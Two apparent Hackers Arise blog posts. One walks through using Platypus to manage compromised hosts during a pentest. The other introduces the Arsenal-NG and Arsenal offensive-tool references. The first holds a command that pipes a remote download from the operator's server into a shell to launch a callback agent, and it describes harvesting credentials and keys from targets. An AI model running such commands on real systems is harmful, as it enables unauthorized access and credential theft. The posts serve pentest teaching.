Welcome back, aspiring cyberwarriors!

One of the challenges during a pentest is keeping everything organized. A small assessment with just a few machines is usually easy to manage, but enterprise environments are a completely different story. You can easily end up working with dozens or even hundreds of Linux and Windows systems, each with different services, users, applications, and configurations.

As pentesters, we often spend a lot of time performing security checks and audits, looking for configs, finding credentials, cloud access tokens and more. All that information is spread across many different hosts and it’s easy to lose track of what’s already been checked and what still needs to be looked at. Managing dozens of SSH sessions or reverse shells gets frustrating fast.

You can use Platypus to solve this issue. It’s a centralized host management platform that makes it a lot easier to work with multiple systems from a single interface.

Let’s see how it works.

What is Platypus

Platypus is an open source host management platform built to help you manage large numbers of Linux, Windows and macOS machines from a web interface.  The platform works by starting an agent on every machine you want to manage. Once started, the agent connects back to your Platypus server using encrypted TLS communications and Protocol Buffers (protobuf).

From the web interface you can launch interactive shells, look at the file system, upload and download files, run security audits and much more. You can install Platypus on a VPS and manage machines over the internet or host it entirely inside a local network

Setting Up

The easiest way to install Platypus is with Docker.

kali > git clone https://github.com/WangYihang/Platypus.git
kali > cd Platypus

Before starting the containers, there’s one important configuration change to make.

Open docker-compose.yml with a text editor. By default it has localhost. Since our agents will be connecting from other hosts, replace localhost with the IP address of the machine running Platypus. If you’re deploying on a VPS, replace it with the public IP instead.

That’s the only configuration change needed for a basic installation. Once you’ve saved the file, launch the platform.

kali > docker-compose up -d

After everything finishes, the web interface is available. We had ours on https://192.168.131.7:9443. That’s the same address you should include in the set up process when you access it on the web.

During the initial setup, Platypus will also ask you to create the first administrator account. To prevent unauthorized access, you’ll need to provide the Bootstrap Secret generated during installation

kali > docker cp platypus-platypus-server-1:/app/data/bootstrap.secret .
kali > cat bootstrap.secret

Copy and paste it.

Working with GUI

Each pentest can have its own project. You can also organize by department or environment, prod and dev for example.

Open the project and scroll down to the Open Hosts section. This is where all enrolled machines will appear. The next step is generating an agent to deploy onto your target systems.

The platform supports Linux, Windows and macOS

Creating Agents

When you create an agent, you can choose what to include based on your needs. We selected the Full package, since it has the largest collection of features and plugins.

Once you’ve configured the agent, Platypus generates a unique installation link you can run on the target machine.

Keep in mind that it doesn’t permanently install itself like traditional management software. The agent runs as a process after being launched. By default, every installation URL contains a unique enrollment token valid for a single installation, which helps prevent unauthorized reuse if the link gets out.

To launch the agent on the target machine, use Tmux so the process keeps running even if your SSH session drops.

ubuntu > curl -fsSL --tlsv1.2 -k https://192.168.131.7:9443/api/v1/install/dl_7dm5amwjjirrqv35biem.ib3sxs64fug543w32oxe?download_tls=insecure | sh > /dev/null

After a few moments, assuming the machine can reach your Platypus server, the new host will show up in the dashboard with basic system information.

Working with Hosts

One of the first features you’ll use is the interactive shell. Since we went with the Full package, shell was included by default.

Another useful feature is the file browser.

Then we have auditing. Platypus scans the file system looking for valuable configs and sensitive information. All systems are different, but that can include database credentials, API keys, SSH keys, cloud configs and more.

The platform also includes various security checks. These aren’t meant to replace a full security assessment, but they come in handy.

Plugins

Plugins collect information about firewall rules, journald logs, scheduled cron jobs, active network connections and many other parts of the OS.

Summary

Managing large numbers of machines during a pentest can quickly become overwhelming. Valuable information ends up scattered across multiple hosts, so it takes time to track your findings. Platypus keeps all your systems together and cuts down on a lot of the repetitive work in post exploitation.

If you’re interested in red teaming and want to build the skills required to be a pentester, we offer our Red Team Operator training program.

The post Pentesting: Managing Compromised Machines with Platypus first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Think back to the first time you installed Kali Linux. It was probably one of those moments where you realized just how many cybersecurity tools existed. Your applications menu was packed with hundreds of tools covering everything from recon and vulnerability scanning to exploitation, password attacks, wireless security and much more.

At first, it was exciting. But most beginners spend hours clicking through the menus wondering what every tool does and when they should actually use it. Unfortunately, the sheer number of applications quickly becomes overwhelming. Even if you dedicate time to learning them, chances are you’ll forget many of their names simply because there are so many available. On top of that, documentation isn’t always beginner-friendly. Some projects have excellent documentation, while others assume you already know exactly what the tool is supposed to do before you even start reading.

The good news is that you don’t have to memorize hundreds of commands or remember every tool available. Instead, you can build your own arsenal of references that helps you quickly find the right tool.

In this article, we’re going to build exactly that. We’ll explore two resources called Arsenal-NG and Arsenal, both of which are designed to make finding offensive security tools, payloads, commands much faster.

Arsenal-NG

The first tool we’ll look at is Arsenal-NG. The name pretty much explains what it does. Arsenal-NG is essentially a searchable collection of offensive security tools, commands, and predefined workflows. Whether you’re doing reconnaissance, exploiting a service, generating payloads, Arsenal-NG can help you find the right tool for the job.

Let’s install it.

kali > git clone https://github.com/halilkirazkaya/arsenal-ng.git
kali > cd arsenal-ng
kali > make build

Once compilation finishes, you can launch the program directly. For convenience, you may also want to move the binary into one of the directories listed in your PATH environment variable. Doing so allows you to start Arsenal-NG from any directory. 

kali > arsenal-ng

When it starts, you’ll immediately notice a large collection of tools organized inside the interface. Each tool includes predefined presets for different kinds of operations. 

To display the complete list of available tools, simply run tools

If you already know what kind of task you’re trying to accomplish but don’t remember what tool can do it, you can use the built-in search feature. Searching by keywords makes it easy to discover them.

Once you’ve found the tool you need, selecting one of its presets walks you through the required parameters. There you simply provide the requested information and let it generate the command for you.

If you need additional information about the application itself, run help.

Arsenal

Unlike Arsenal-NG, Arsenal focuses primarily on web exploitation and can be used directly from your browser. There is no installation process, making it convenient when you simply need a quick reference.

You can access it here.

One thing worth mentioning is that the website supports multiple languages. If the interface isn’t already in English, simply switch the language using the selector in the upper-right corner. Once inside, you’ll notice that the content is organized into several different sections, each designed to help with a different phase of a web penetration test.

One of them is Payloads.

This area contains a huge collection of payloads covering many different types of web vulnerabilities and exploitation techniques. Whether you’re working with command injection, SQL injection, XSS, SSTI, XXE, deserialization, or other common web vulnerabilities, chances are you’ll find useful examples here.

Another valuable section is Attack Chains.

Rather than simply providing payloads, Attack Chains guide you through the overall exploitation process. They outline the sequence of steps typically required to compromise a target.

The Commands section is another good reference.

You can build the command you need by selecting the appropriate options.

Then we have Wordlists.

There are numerous wordlists organized into logical categories, making it much easier to find exactly what you’re looking for. Each category often contains several different wordlists optimized for different situations. 

You’ll also find a large collection of Scripts.

These scripts cover a wide variety of purposes, including reconnaissance, AI-related security checks, subdomain takeovers, automation and more.

Of course, we’ve only scratched the surface. Arsenal contains more additional sections that are worth exploring on your own. Spend some time clicking through the different categories and seeing what they have.

Summary

Building your own cybersecurity arsenal isn’t about memorizing every command ever written. In fact, no experienced pentester or hacker remembers every tool, every option or every payload. There are simply too many of them, and new ones are being developed all the time. Arsenal-NG and Arsenal can help you organize knowledge. They are valuable when you’re getting started and they remain just as useful years later when you’re experienced.

Since many of these tools fall into different categories, such as network pentesting, web pentesting, bug bounty hunting, and more, the best way to develop your skills is through our Member Gold subscription. It gives you access to a wide variety of training courses covering different areas.

The post Linux for Hackers: Building Your Tool Arsenal first appeared on Hackers Arise.